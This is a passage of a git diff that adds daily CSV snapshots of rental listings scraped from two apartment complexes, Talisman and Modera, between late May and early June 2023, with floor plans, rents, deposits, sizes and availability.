sq.ft.,None,N/A +20230528,talisman,C5 (2x2),2 Bed 2 Bath,ContactUs,$300,934 - 984 sq.ft.,None,N/A +20230528,talisman,C3 (2x2),2 Bed 2 Bath,"$3,713",$300,1010 - 1103 sq.ft.,None,N/A +20230528,talisman,C1 (2x2),2 Bed 2 Bath,"$4,008",$300,1029 - 1294 sq.ft.,None,N/A +20230528,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230528,talisman,C7 (2x2),2 Bed 2 Bath,ContactUs,$300,1074 - 1131 sq.ft.,None,N/A +20230528,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,317",$300,1140 - 1185 sq.ft.,None,N/A +20230528,talisman,C8 (2x2),2 Bed 2 Bath,"$3,858",$300,1155 sq.ft.,None,N/A +20230528,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230528,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230528,talisman,CL3 (2x2),2 Bed 2 Bath,"$3,418",$300,1228 - 1296 sq.ft.,None,N/A +20230528,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230528,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230528,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230528,talisman,D1 (3x2),3 Bed 2 Bath,ContactUs,$300,1241 - 1362 sq.ft.,None,N/A +20230528,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230528,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230528,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A +20230528,modera,S01,Studio / 1 ba,"Starting from $1,883/month",$300,477+,/,2 Available +20230528,modera,S01L,Studio / 1 ba,"Starting from $2,626/month",$300,641+,/,Only One Left! +20230528,modera,S02,Studio / 1 ba,"Starting from $2,079/month",$300,498+,/,Only One Left! +20230528,modera,A01,1 bd/1 ba,"Starting from $2,090/month",$300,531,/,"Available Jun 11, 2023" +20230528,modera,A05,1 bd/1 ba,"Starting from $2,210/month",$300,596,/,"Available Jun 15, 2023" +20230528,modera,A09,1 bd/1 ba,"Starting from $2,345/month",$300,640,/,Only One Left! +20230528,modera,A10,1 bd/1 ba,"Starting from $2,460/month",$300,672+,/,Only One Left! +20230528,modera,A11,1 bd/1 ba,"Starting from $2,535/month",$300,667,/,"Available Jul 09, 2023" +20230528,modera,A13D,1 bd/1 ba,"Starting from $3,067/month",$300,751,/,"Available Jun 09, 2023" +20230528,modera,B02,2 bd/2 ba,"Starting from $3,161/month",$300,989+,/,"Available Jun 08, 2023" +20230528,modera,B03,2 bd/2 ba,"Starting from $3,406/month",$300,"1,039+",/,Only One Left! +20230528,modera,B07,2 bd/2 ba,"Starting from $3,491/month",$300,"1,233",/,Only One Left! +20230528,modera,S01L,Studio / 1 ba,"Starting from $2,626/month",$300,641+,/,Only One Left! diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230529.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230529.csv new file mode 100644 index 00000000000..e851c486bd6 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230529.csv @@ -0,0 +1,58 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230529,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230529,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230529,talisman,A10 (1x1),1 Bed 1 Bath,"$1,954",$300,578 - 665 sq.ft.,None,N/A +20230529,talisman,A1 (1x1),1 Bed 1 Bath,"$2,019",$300,604 - 671 sq.ft.,None,N/A +20230529,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230529,talisman,A3 (1x1),1 Bed 1 Bath,ContactUs,$300,609 - 642 sq.ft.,None,N/A +20230529,talisman,A2 (1x1),1 Bed 1 Bath,"$1,999",$300,617 - 715 sq.ft.,None,N/A +20230529,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230529,talisman,A6 (1x1),1 Bed 1 Bath,"$2,019",$300,650 sq.ft.,None,N/A +20230529,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230529,talisman,B5 (1x1),1 Bed 1 Bath,"$2,447",$300,674 - 775 sq.ft.,None,N/A +20230529,talisman,B2 (1x1),1 Bed 1 Bath,ContactUs,$300,706 - 739 sq.ft.,None,N/A +20230529,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230529,talisman,A5 (1x1),1 Bed 1 Bath,"$2,139",$300,734 - 739 sq.ft.,None,N/A +20230529,talisman,AL1 (1x1),1 Bed 1 Bath,ContactUs,$300,745 - 828 sq.ft.,None,N/A +20230529,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230529,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230529,talisman,AL2 (1x1),1 Bed 1 Bath,"$2,798",$300,785 - 852 sq.ft.,None,N/A +20230529,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230529,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230529,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230529,talisman,BL5 (1x1),1 Bed 1 Bath,"$2,908",$300,906 - 930 sq.ft.,None,N/A +20230529,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230529,talisman,BL2 (2x2),2 Bed 2 Bath,"$2,953",$300,883 - 888 sq.ft.,None,N/A +20230529,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230529,talisman,CL6 (2x2),2 Bed 2 Bath,"$3,128",$300,890 - 945 sq.ft.,None,N/A +20230529,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230529,talisman,C5 (2x2),2 Bed 2 Bath,ContactUs,$300,934 - 984 sq.ft.,None,N/A +20230529,talisman,C3 (2x2),2 Bed 2 Bath,"$3,713",$300,1010 - 1103 sq.ft.,None,N/A +20230529,talisman,C1 (2x2),2 Bed 2 Bath,"$4,008",$300,1029 - 1294 sq.ft.,None,N/A +20230529,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230529,talisman,C7 (2x2),2 Bed 2 Bath,ContactUs,$300,1074 - 1131 sq.ft.,None,N/A +20230529,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,317",$300,1140 - 1185 sq.ft.,None,N/A +20230529,talisman,C8 (2x2),2 Bed 2 Bath,"$3,858",$300,1155 sq.ft.,None,N/A +20230529,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230529,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230529,talisman,CL3 (2x2),2 Bed 2 Bath,"$3,418",$300,1228 - 1296 sq.ft.,None,N/A +20230529,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230529,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230529,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230529,talisman,D1 (3x2),3 Bed 2 Bath,ContactUs,$300,1241 - 1362 sq.ft.,None,N/A +20230529,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230529,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230529,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A +20230529,modera,S01,Studio / 1 ba,"Starting from $1,883/month",$300,477+,/,2 Available +20230529,modera,S01L,Studio / 1 ba,"Starting from $2,626/month",$300,641+,/,Only One Left! +20230529,modera,S02,Studio / 1 ba,"Starting from $2,079/month",$300,498+,/,Only One Left! +20230529,modera,A01,1 bd/1 ba,"Starting from $2,090/month",$300,531,/,"Available Jun 11, 2023" +20230529,modera,A05,1 bd/1 ba,"Starting from $2,210/month",$300,596,/,"Available Jun 15, 2023" +20230529,modera,A09,1 bd/1 ba,"Starting from $2,345/month",$300,640,/,Only One Left! +20230529,modera,A10,1 bd/1 ba,"Starting from $2,460/month",$300,672+,/,Only One Left! +20230529,modera,A11,1 bd/1 ba,"Starting from $2,535/month",$300,667,/,"Available Jul 09, 2023" +20230529,modera,A13D,1 bd/1 ba,"Starting from $3,067/month",$300,751,/,"Available Jun 09, 2023" +20230529,modera,B02,2 bd/2 ba,"Starting from $3,161/month",$300,989+,/,"Available Jun 08, 2023" +20230529,modera,B03,2 bd/2 ba,"Starting from $3,406/month",$300,"1,039+",/,Only One Left! +20230529,modera,B07,2 bd/2 ba,"Starting from $3,491/month",$300,"1,233",/,Only One Left! +20230529,modera,S01L,Studio / 1 ba,"Starting from $2,626/month",$300,641+,/,Only One Left! diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230530.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230530.csv new file mode 100644 index 00000000000..92826e275fe --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230530.csv @@ -0,0 +1,58 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230530,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230530,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230530,talisman,A10 (1x1),1 Bed 1 Bath,"$1,990",$300,578 - 665 sq.ft.,None,N/A +20230530,talisman,A1 (1x1),1 Bed 1 Bath,"$2,055",$300,604 - 671 sq.ft.,None,N/A +20230530,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230530,talisman,A3 (1x1),1 Bed 1 Bath,ContactUs,$300,609 - 642 sq.ft.,None,N/A +20230530,talisman,A2 (1x1),1 Bed 1 Bath,"$2,035",$300,617 - 715 sq.ft.,None,N/A +20230530,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230530,talisman,A6 (1x1),1 Bed 1 Bath,"$2,055",$300,650 sq.ft.,None,N/A +20230530,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230530,talisman,B5 (1x1),1 Bed 1 Bath,"$2,320",$300,674 - 775 sq.ft.,None,N/A +20230530,talisman,B2 (1x1),1 Bed 1 Bath,ContactUs,$300,706 - 739 sq.ft.,None,N/A +20230530,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230530,talisman,A5 (1x1),1 Bed 1 Bath,"$2,175",$300,734 - 739 sq.ft.,None,N/A +20230530,talisman,AL1 (1x1),1 Bed 1 Bath,ContactUs,$300,745 - 828 sq.ft.,None,N/A +20230530,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230530,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230530,talisman,AL2 (1x1),1 Bed 1 Bath,"$2,662",$300,785 - 852 sq.ft.,None,N/A +20230530,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230530,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230530,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230530,talisman,BL5 (1x1),1 Bed 1 Bath,"$2,772",$300,906 - 930 sq.ft.,None,N/A +20230530,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230530,talisman,BL2 (2x2),2 Bed 2 Bath,"$2,817",$300,883 - 888 sq.ft.,None,N/A +20230530,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230530,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230530,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230530,talisman,C5 (2x2),2 Bed 2 Bath,ContactUs,$300,934 - 984 sq.ft.,None,N/A +20230530,talisman,C3 (2x2),2 Bed 2 Bath,"$3,521",$300,1010 - 1103 sq.ft.,None,N/A +20230530,talisman,C1 (2x2),2 Bed 2 Bath,"$3,816",$300,1029 - 1294 sq.ft.,None,N/A +20230530,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230530,talisman,C7 (2x2),2 Bed 2 Bath,ContactUs,$300,1074 - 1131 sq.ft.,None,N/A +20230530,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,181",$300,1140 - 1185 sq.ft.,None,N/A +20230530,talisman,C8 (2x2),2 Bed 2 Bath,"$3,156",$300,1155 sq.ft.,None,N/A +20230530,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230530,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230530,talisman,CL3 (2x2),2 Bed 2 Bath,"$3,282",$300,1228 - 1296 sq.ft.,None,N/A +20230530,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230530,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230530,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230530,talisman,D1 (3x2),3 Bed 2 Bath,ContactUs,$300,1241 - 1362 sq.ft.,None,N/A +20230530,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230530,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230530,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A +20230530,modera,S01,Studio / 1 ba,"Starting from $1,831/month",$300,477+,/,Only One Left! +20230530,modera,S01L,Studio / 1 ba,"Starting from $2,574/month",$300,641+,/,Only One Left! +20230530,modera,S02,Studio / 1 ba,"Starting from $2,027/month",$300,498+,/,Only One Left! +20230530,modera,A01,1 bd/1 ba,"Starting from $2,090/month",$300,531,/,"Available Jun 11, 2023" +20230530,modera,A05,1 bd/1 ba,"Starting from $2,210/month",$300,596,/,"Available Jun 15, 2023" +20230530,modera,A09,1 bd/1 ba,"Starting from $2,345/month",$300,640,/,Only One Left! +20230530,modera,A10,1 bd/1 ba,"Starting from $2,460/month",$300,672+,/,Only One Left! +20230530,modera,A11,1 bd/1 ba,"Starting from $2,535/month",$300,667,/,"Available Jul 09, 2023" +20230530,modera,A13D,1 bd/1 ba,"Starting from $3,067/month",$300,751,/,"Available Jun 09, 2023" +20230530,modera,B02,2 bd/2 ba,"Starting from $3,161/month",$300,989+,/,"Available Jun 08, 2023" +20230530,modera,B03,2 bd/2 ba,"Starting from $3,406/month",$300,"1,039+",/,Only One Left! +20230530,modera,B07,2 bd/2 ba,"Starting from $3,491/month",$300,"1,233",/,Only One Left! +20230530,modera,S01L,Studio / 1 ba,"Starting from $2,574/month",$300,641+,/,Only One Left! diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230601.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230601.csv new file mode 100644 index 00000000000..96568fe0b5c --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230601.csv @@ -0,0 +1,60 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230601,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230601,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230601,talisman,A10 (1x1),1 Bed 1 Bath,"$1,888",$300,578 - 665 sq.ft.,None,N/A +20230601,talisman,A1 (1x1),1 Bed 1 Bath,"$1,953",$300,604 - 671 sq.ft.,None,N/A +20230601,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230601,talisman,A3 (1x1),1 Bed 1 Bath,ContactUs,$300,609 - 642 sq.ft.,None,N/A +20230601,talisman,A2 (1x1),1 Bed 1 Bath,"$1,933",$300,617 - 715 sq.ft.,None,N/A +20230601,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230601,talisman,A6 (1x1),1 Bed 1 Bath,"$1,953",$300,650 sq.ft.,None,N/A +20230601,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230601,talisman,B5 (1x1),1 Bed 1 Bath,"$2,084",$300,674 - 775 sq.ft.,None,N/A +20230601,talisman,B2 (1x1),1 Bed 1 Bath,ContactUs,$300,706 - 739 sq.ft.,None,N/A +20230601,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230601,talisman,A5 (1x1),1 Bed 1 Bath,"$2,073",$300,734 - 739 sq.ft.,None,N/A +20230601,talisman,AL1 (1x1),1 Bed 1 Bath,ContactUs,$300,745 - 828 sq.ft.,None,N/A +20230601,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230601,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230601,talisman,AL2 (1x1),1 Bed 1 Bath,"$3,010",$300,785 - 852 sq.ft.,None,N/A +20230601,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230601,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230601,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230601,talisman,BL5 (1x1),1 Bed 1 Bath,"$3,120",$300,906 - 930 sq.ft.,None,N/A +20230601,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230601,talisman,BL2 (2x2),2 Bed 2 Bath,"$3,165",$300,883 - 888 sq.ft.,None,N/A +20230601,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230601,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230601,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230601,talisman,C5 (2x2),2 Bed 2 Bath,ContactUs,$300,934 - 984 sq.ft.,None,N/A +20230601,talisman,C3 (2x2),2 Bed 2 Bath,"$3,799",$300,1010 - 1103 sq.ft.,None,N/A +20230601,talisman,C1 (2x2),2 Bed 2 Bath,"$4,012",$300,1029 - 1294 sq.ft.,None,N/A +20230601,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230601,talisman,C7 (2x2),2 Bed 2 Bath,ContactUs,$300,1074 - 1131 sq.ft.,None,N/A +20230601,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,529",$300,1140 - 1185 sq.ft.,None,N/A +20230601,talisman,C8 (2x2),2 Bed 2 Bath,"$3,429",$300,1155 sq.ft.,None,N/A +20230601,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230601,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230601,talisman,CL3 (2x2),2 Bed 2 Bath,"$3,630",$300,1228 - 1296 sq.ft.,None,N/A +20230601,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230601,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230601,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230601,talisman,D1 (3x2),3 Bed 2 Bath,ContactUs,$300,1241 - 1362 sq.ft.,None,N/A +20230601,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230601,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230601,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A +20230601,modera,S01,Studio / 1 ba,"Starting from $1,784/month",$300,477+,/,"Available Jun 03, 2023" +20230601,modera,S01L,Studio / 1 ba,"Starting from $2,527/month",$300,641+,/,Only One Left! +20230601,modera,S02,Studio / 1 ba,"Starting from $1,980/month",$300,498+,/,"Available Jun 04, 2023" +20230601,modera,A01,1 bd/1 ba,"Starting from $2,090/month",$300,531,/,"Available Jun 11, 2023" +20230601,modera,A05,1 bd/1 ba,"Starting from $2,035/month",$300,596,/,"Available Jun 08, 2023" +20230601,modera,A05L,1 bd/1 ba,"Starting from $2,695/month",$300,735,/,"Available Jun 16, 2023" +20230601,modera,A09,1 bd/1 ba,"Starting from $2,345/month",$300,640,/,Only One Left! +20230601,modera,A10,1 bd/1 ba,"Starting from $2,460/month",$300,672+,/,"Available Jun 07, 2023" +20230601,modera,A11,1 bd/1 ba,"Starting from $2,535/month",$300,667,/,"Available Jul 09, 2023" +20230601,modera,A13D,1 bd/1 ba,"Starting from $2,919/month",$300,751,/,"Available Jun 09, 2023" +20230601,modera,B02,2 bd/2 ba,"Starting from $3,181/month",$300,989+,/,"Available Jun 08, 2023" +20230601,modera,B03,2 bd/2 ba,"Starting from $3,426/month",$300,"1,039+",/,"Available Jun 03, 2023" +20230601,modera,B07,2 bd/2 ba,"Starting from $3,511/month",$300,"1,233",/,Only One Left! +20230601,modera,S01L,Studio / 1 ba,"Starting from $2,527/month",$300,641+,/,Only One Left! +20230601,modera,A05L,1 bd/1 ba,"Starting from $2,695/month",$300,735,/,"Available Jun 16, 2023" diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230602.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230602.csv new file mode 100644 index 00000000000..2497f91c053 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230602.csv @@ -0,0 +1,60 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230602,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230602,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230602,talisman,A10 (1x1),1 Bed 1 Bath,"$1,866",$300,578 - 665 sq.ft.,None,N/A +20230602,talisman,A1 (1x1),1 Bed 1 Bath,"$1,931",$300,604 - 671 sq.ft.,None,N/A +20230602,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230602,talisman,A3 (1x1),1 Bed 1 Bath,ContactUs,$300,609 - 642 sq.ft.,None,N/A +20230602,talisman,A2 (1x1),1 Bed 1 Bath,"$1,911",$300,617 - 715 sq.ft.,None,N/A +20230602,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230602,talisman,A6 (1x1),1 Bed 1 Bath,"$1,931",$300,650 sq.ft.,None,N/A +20230602,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230602,talisman,B5 (1x1),1 Bed 1 Bath,"$1,975",$300,674 - 775 sq.ft.,None,N/A +20230602,talisman,B2 (1x1),1 Bed 1 Bath,ContactUs,$300,706 - 739 sq.ft.,None,N/A +20230602,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230602,talisman,A5 (1x1),1 Bed 1 Bath,"$2,051",$300,734 - 739 sq.ft.,None,N/A +20230602,talisman,AL1 (1x1),1 Bed 1 Bath,ContactUs,$300,745 - 828 sq.ft.,None,N/A +20230602,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230602,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230602,talisman,AL2 (1x1),1 Bed 1 Bath,"$2,879",$300,785 - 852 sq.ft.,None,N/A +20230602,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230602,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230602,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230602,talisman,BL5 (1x1),1 Bed 1 Bath,"$2,989",$300,906 - 930 sq.ft.,None,N/A +20230602,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230602,talisman,BL2 (2x2),2 Bed 2 Bath,"$3,034",$300,883 - 888 sq.ft.,None,N/A +20230602,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230602,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230602,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230602,talisman,C5 (2x2),2 Bed 2 Bath,ContactUs,$300,934 - 984 sq.ft.,None,N/A +20230602,talisman,C3 (2x2),2 Bed 2 Bath,"$3,799",$300,1010 - 1103 sq.ft.,None,N/A +20230602,talisman,C1 (2x2),2 Bed 2 Bath,"$4,012",$300,1029 - 1294 sq.ft.,None,N/A +20230602,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230602,talisman,C7 (2x2),2 Bed 2 Bath,ContactUs,$300,1074 - 1131 sq.ft.,None,N/A +20230602,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,398",$300,1140 - 1185 sq.ft.,None,N/A +20230602,talisman,C8 (2x2),2 Bed 2 Bath,"$3,429",$300,1155 sq.ft.,None,N/A +20230602,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230602,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230602,talisman,CL3 (2x2),2 Bed 2 Bath,"$3,499",$300,1228 - 1296 sq.ft.,None,N/A +20230602,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230602,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230602,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230602,talisman,D1 (3x2),3 Bed 2 Bath,ContactUs,$300,1241 - 1362 sq.ft.,None,N/A +20230602,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230602,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230602,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A +20230602,modera,S01,Studio / 1 ba,"Starting from $1,784/month",$300,477+,/,"Available Jun 03, 2023" +20230602,modera,S01L,Studio / 1 ba,"Starting from $2,527/month",$300,641+,/,Only One Left! +20230602,modera,S02,Studio / 1 ba,"Starting from $1,980/month",$300,498+,/,"Available Jun 04, 2023" +20230602,modera,A01,1 bd/1 ba,"Starting from $2,090/month",$300,531,/,"Available Jun 11, 2023" +20230602,modera,A05,1 bd/1 ba,"Starting from $2,005/month",$300,596,/,"Available Jun 08, 2023" +20230602,modera,A05L,1 bd/1 ba,"Starting from $2,695/month",$300,735,/,"Available Jun 16, 2023" +20230602,modera,A09,1 bd/1 ba,"$2,345/month",$300,640,/,Only One Left! +20230602,modera,A10,1 bd/1 ba,"Starting from $2,460/month",$300,672+,/,"Available Jun 07, 2023" +20230602,modera,A11,1 bd/1 ba,"Starting from $2,535/month",$300,667,/,"Available Jul 09, 2023" +20230602,modera,A13D,1 bd/1 ba,"Starting from $2,778/month",$300,751,/,"Available Jun 09, 2023" +20230602,modera,B02,2 bd/2 ba,"Starting from $3,181/month",$300,989+,/,"Available Jun 08, 2023" +20230602,modera,B03,2 bd/2 ba,"Starting from $3,426/month",$300,"1,039+",/,"Available Jun 03, 2023" +20230602,modera,B07,2 bd/2 ba,"Starting from $3,511/month",$300,"1,233",/,Only One Left! 